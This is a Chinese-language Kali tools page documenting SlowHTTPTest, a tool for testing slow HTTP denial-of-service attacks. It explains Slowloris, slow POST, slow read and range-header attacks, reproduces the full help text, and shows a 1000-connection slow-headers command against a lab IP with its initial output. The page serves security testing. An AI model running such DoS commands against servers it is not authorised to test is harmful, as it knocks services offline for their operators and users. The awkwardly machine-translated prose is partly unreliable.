SlowHTTPTest包装说明
SlowHTTPTest是模拟一些应用层拒绝服务攻击的高度可配置的工具。它适用于绝大多数的Linux平台,OSX和Cygwin - 一个类Unix环境和命令行界面的Microsoft Windows。 它通过引起非常显著内存实现了最常见的低带宽应用层DoS攻击,如slowloris,慢速HTTP POST,慢读的攻击(基于TCP坚持定时漏洞)通过排泄并发连接池,以及Apache的范围头攻击CPU使用率在服务器上。 Slowloris和慢速的HTTP POST DoS攻击依赖这样的事实:在HTTP协议,在设计上,需要被完全由服务器接收处理之前的请求。如果HTTP请求是不完整的,或者,如果传送速率是很低的,服务器保持其资源忙等待数据的其余部分。如果服务器保持太多的资源忙,这造成拒绝服务。该工具发送部分的HTTP请求,试图从目标HTTP服务器拒绝服务。 资料来源:https://code.google.com/p/slowhttptest/
SlowHTTPTest首页 | 卡利SlowHTTPTest回购
- 作者:shekyan
许可:Apache 2.0的
0x01 包含在slowhttptest包工具
slowhttptest - 一个工具来测试缓慢的HTTP拒绝服务漏洞
:~# slowhttptest -h slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.6 Usage: slowhttptest [options ...] Test modes: -H slow headers a.k.a. Slowloris (default) -B slow body a.k.a R-U-Dead-Yet -R range attack a.k.a Apache killer -X slow read a.k.a Slow Read Reporting options: -g generate statistics with socket state changes (off) -o file_prefix save statistics output in file.html and file.csv (-g required) -v level verbosity level 0-4: Fatal, Info, Error, Warning, Debug General options: -c connections target number of connections (50) -i seconds interval between followup data in seconds (10) -l seconds target test length in seconds (240) -r rate connections per seconds (50) -s bytes value of Content-Length header if needed (4096) -t verb verb to use in request, default to GET for slow headers and response and to POST for slow body -u URL absolute URL of target (http://localhost/) -x bytes max length of each randomized name/value pair of followup data per tick, e.g. -x 2 generates X-xx: xx for header or &xx=xx for body, where x is random character (32) Probe/Proxy options: -d host:port all traffic directed through HTTP proxy at host:port (off) -e host:port probe traffic directed through HTTP proxy at host:port (off) -p seconds timeout to wait for HTTP response on probe connection, after which server is considered inaccessible (5) Range attack specific options: -a start left boundary of range in range header (5) -b bytes limit for range header right boundary values (2000) Slow read specific options: -k num number of times to repeat same request in the connection. Use to multiply response size if server supports persistent connections (1) -n seconds interval between read operations from recv buffer in seconds (1) -w bytes start of the range advertised window size would be picked from (1) -y bytes end of the range advertised window size would be picked from (512) -z bytes bytes to slow read from receive buffer with single read() call (5)
0x02 slowhttptest用法示例
使用1000连接 (-c 1000) 与Slowloris模式 (H), 并生成 统计(-g> 与输出文件名 (-o slowhttp), 用10秒的等待数据 (-i 10),200 连接 (-R 200)GET 请求 (-t GET) 针对目标 URL(-u http://192.168.1.202/index.php) 用最多为24 个 字节 (-x 24)和 3秒的时间长度的出 (-p 3):
:~# slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://192.168.1.202/index.php -x 24 -p 3
Sat May 17 10:45:26 2014:
Sat May 17 10:45:26 2014:
slowhttptest version 1.6
- https://code.google.com/p/slowhttptest/ -
test type: SLOW HEADERS
number of connections: 1000
URL: http://192.168.1.202/index.php
verb: GET
Content-Length header value: 4096
follow up data max size: 52
interval between follow up data: 10 seconds
connections per seconds: 200
probe connection timeout: 3 seconds
test duration: 240 seconds
using proxy: no proxy
Sat May 17 10:45:26 2014:
slow HTTP test status on 0th second:
initializing: 0
pending: 1
connected: 0
error: 0
closed: 0
service available: YES
原文来自:https://www.hackfun.org/kali-tools/slowhttptest_zh.html。转载请注明原出处,商用请联系原作者授权。